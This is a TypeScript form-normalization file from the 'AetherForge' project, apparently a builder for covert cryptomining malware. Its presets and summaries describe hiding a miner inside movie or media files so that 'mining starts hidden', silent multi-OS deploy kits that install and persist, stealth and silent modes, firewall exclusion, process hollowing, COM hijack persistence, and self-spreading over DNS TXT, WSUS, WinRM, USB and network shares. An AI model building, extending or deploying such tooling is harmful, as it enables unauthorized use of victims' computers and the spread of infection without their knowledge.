Files
AetherForge/server/web/src/help/forgeFormNormalize.ts
AetherForge 50ebfe53cb Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
2026-06-07 02:44:29 -07:00

293 lines
9.2 KiB
TypeScript

import type { BuildRequest } from '../types';
/** UI deliverable — derived from forge flags, not sent to the API. */
export type ForgeDeliverable = 'single' | 'spread_kit' | 'fusion';
export interface InstallBaseOption {
value: string;
label: string;
hint?: string;
}
const WINDOWS_INSTALL_BASES: InstallBaseOption[] = [
{ value: 'localappdata', label: 'Local App Data (%LOCALAPPDATA%)' },
{ value: 'appdata', label: 'Roaming App Data (%APPDATA%)' },
{ value: 'programdata', label: 'Program Data (%ProgramData%)' },
{ value: 'userprofile', label: 'User Profile (%USERPROFILE%)' },
{ value: 'temp', label: 'Temp Folder (%TEMP%)' },
{ value: 'custom', label: 'Custom path…' },
];
const UNIX_INSTALL_BASES: InstallBaseOption[] = [
{ value: 'xdg_data_home', label: 'XDG data (~/.local/share)' },
{ value: 'home', label: 'Home folder (~)' },
{ value: 'temp', label: 'Temp (/tmp or $TMPDIR)' },
{ value: 'custom', label: 'Custom path…' },
];
const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
{
value: 'localappdata',
label: 'Stealth cache location (auto per OS)',
hint: 'Windows → %LOCALAPPDATA% · Linux → ~/.local/share · macOS → ~/Library/Application Support',
},
{ value: 'home', label: 'User home (all platforms)' },
{ value: 'temp', label: 'Temp folder (all platforms)' },
{ value: 'custom', label: 'Custom path…' },
];
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
if (form.apk_mode) return 'single';
if (form.spread_kit) return 'spread_kit';
if (form.fusion_enabled) return 'fusion';
return 'single';
}
export function deliverableSummary(type: ForgeDeliverable): string {
switch (type) {
case 'fusion':
return 'Movie or prep fusion — one universal ZIP per title. User opens the media/runner; mining starts hidden.';
case 'spread_kit':
return 'Silent multi-OS deploy ZIP — run Deploy.bat / deploy.sh / Start.command once; worker installs and persists.';
default:
return 'One installer binary for a single OS (Windows .exe, Linux binary, or macOS binary).';
}
}
/** Recommended toggles when Spread Kit is selected. */
export function spreadKitPreset(): Partial<BuildRequest> {
return {
spread_kit: true,
fusion_enabled: false,
target_os: 'universal',
target_arch: 'all',
run_as: 'scheduled',
persistence: true,
auto_start: true,
self_healing: true,
stealth_mode: true,
silent_mode: true,
file_logging: false,
firewall_exclusion: true,
display_mode: 'background',
mining_mode: 'idle',
process_hollowing: false,
hole_punch: false,
remote_aggressive: true,
auto_spread: false,
usb_spread: false,
share_spread: false,
winrm_spread: false,
dns_txt_spread: true,
webrtc_mesh_spread: false,
wsus_cache_peer_spread: true,
com_hijack_persist: false,
linux_lotl_mode: 'off',
};
}
export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
const t = targetOs || 'windows';
if (t === 'android') return UNIX_INSTALL_BASES;
if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
return WINDOWS_INSTALL_BASES;
}
function isWindowsOnlyTarget(targetOs?: string): boolean {
return !targetOs || targetOs === 'windows';
}
function isSingleUnixTarget(targetOs?: string): boolean {
return targetOs === 'linux' || targetOs === 'darwin';
}
function isAndroidTarget(targetOs?: string, apkMode?: boolean): boolean {
return !!apkMode || targetOs === 'android';
}
/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
export function normalizeForgeForm(form: BuildRequest): BuildRequest {
const next: BuildRequest = { ...form };
if (next.apk_mode) {
next.fusion_enabled = false;
next.spread_kit = false;
next.target_os = 'android';
next.target_arch = 'arm64';
next.mining_disabled = true;
next.gpu_enabled = false;
next.miner_execution = 'inprocess';
next.threads = 1;
next.thread_mode = 'fixed';
if (!next.apk_agent_name?.trim()) {
next.apk_agent_name = next.worker_name;
}
}
// Deliverable coupling — spread kit wins if both flags were somehow set
if (next.spread_kit) {
next.fusion_enabled = false;
next.target_os = 'universal';
next.target_arch = 'all';
} else if (next.fusion_enabled) {
next.spread_kit = false;
if (next.target_os === 'windows' || !next.target_os) {
next.target_os = 'universal';
}
next.display_mode = 'background';
next.silent_mode = true;
}
if (deriveDeliverableType(next) === 'single' && next.target_os === 'universal') {
next.target_os = 'windows';
next.spread_kit = false;
}
if (isAndroidTarget(next.target_os, next.apk_mode)) {
next.target_os = 'android';
next.target_arch = 'arm64';
next.fusion_enabled = false;
next.spread_kit = false;
}
// Architecture
if (isAndroidTarget(next.target_os, next.apk_mode)) {
next.target_arch = 'arm64';
} else if (isSingleUnixTarget(next.target_os)) {
if (!next.target_arch || next.target_arch === 'all') {
next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
}
} else {
next.target_arch = 'all';
}
// Windows-only forge pipeline
if (!isWindowsOnlyTarget(next.target_os)) {
next.sign_build = false;
if (next.target_os !== 'universal') {
next.obfuscate = false;
}
}
// Process hollowing — Windows workers only
if (isSingleUnixTarget(next.target_os)) {
next.process_hollowing = false;
next.winrm_spread = false;
next.dns_txt_spread = false;
next.webrtc_mesh_spread = false;
next.wsus_cache_peer_spread = false;
next.com_hijack_persist = false;
}
// Linux LOTL persistence — Linux/universal workers only
if (isWindowsOnlyTarget(next.target_os)) {
next.linux_lotl_mode = 'off';
} else if (!next.linux_lotl_mode) {
next.linux_lotl_mode = 'off';
}
// Install base matches target OS family
const unixBases = new Set(['xdg_data_home', 'home', 'temp', 'custom']);
const winOnlyBases = new Set(['localappdata', 'appdata', 'programdata', 'userprofile']);
if (isSingleUnixTarget(next.target_os)) {
if (winOnlyBases.has(next.install_base) && next.install_base !== 'custom') {
next.install_base = 'xdg_data_home';
}
} else if (isWindowsOnlyTarget(next.target_os)) {
if (next.install_base === 'xdg_data_home') {
next.install_base = 'localappdata';
}
}
if (next.install_base !== 'custom') {
next.install_custom_base = '';
}
// Stealth / display
if (next.stealth_mode) {
next.file_logging = false;
if (next.display_mode === 'visible') {
next.display_mode = 'background';
}
next.silent_mode = true;
}
// Mining mode sub-fields — ensure they have sane defaults (don't reset user values — server ignores them when mode doesn't match)
if (!next.idle_threshold_pct || next.idle_threshold_pct < 1) next.idle_threshold_pct = 20;
if (!next.idle_duration_minutes || next.idle_duration_minutes < 1) next.idle_duration_minutes = 5;
if (!next.schedule_start) next.schedule_start = '21:00';
if (!next.schedule_end) next.schedule_end = '06:00';
// Thread mode
if (next.thread_mode === 'percent') {
if (next.thread_percent < 1 || next.thread_percent > 100) {
next.thread_percent = 75;
}
} else if (next.threads < 1) {
next.threads = 4;
}
// Run-as forces persistence
if (next.run_as === 'scheduled' || next.run_as === 'service' || next.run_as === 'bits' || next.run_as === 'host_binary') {
next.persistence = true;
next.auto_start = true;
}
if (next.run_as === 'host_binary' && !next.host_binary_target?.trim()) {
next.host_binary_target = 'ssh';
}
// AI sub-fields — keep defaults when off (server ignores); clear endpoint only if empty
if (!next.ai_enabled) {
next.ai_ollama_endpoint = 'http://localhost:11434';
next.ai_model = 'llama3.2';
} else {
if (!next.ai_ollama_endpoint?.trim()) {
next.ai_ollama_endpoint = 'http://localhost:11434';
}
if (!next.ai_model?.trim()) {
next.ai_model = 'llama3.2';
}
}
// Fusion-only fields
if (!next.fusion_enabled) {
next.fusion_media_base_name = '';
next.fusion_export_subdir = '';
if (next.fusion_payload_kind === 'video') {
next.fusion_payload_kind = 'exe';
}
}
return next;
}
/** Apply a deliverable preset — call from UI when user picks build type. */
export function applyDeliverableType(form: BuildRequest, type: ForgeDeliverable): BuildRequest {
const base: BuildRequest = { ...form, fusion_enabled: false, spread_kit: false };
switch (type) {
case 'fusion':
return normalizeForgeForm({
...base,
fusion_enabled: true,
target_os: 'universal',
target_arch: 'all',
display_mode: 'background',
silent_mode: true,
fusion_media_mode: base.fusion_media_mode || 'paired',
fusion_payload_kind: base.fusion_payload_kind || 'exe',
});
case 'spread_kit':
return normalizeForgeForm({
...base,
...spreadKitPreset(),
});
default:
return normalizeForgeForm({
...base,
target_os: base.target_os === 'universal' ? 'windows' : base.target_os || 'windows',
});
}
}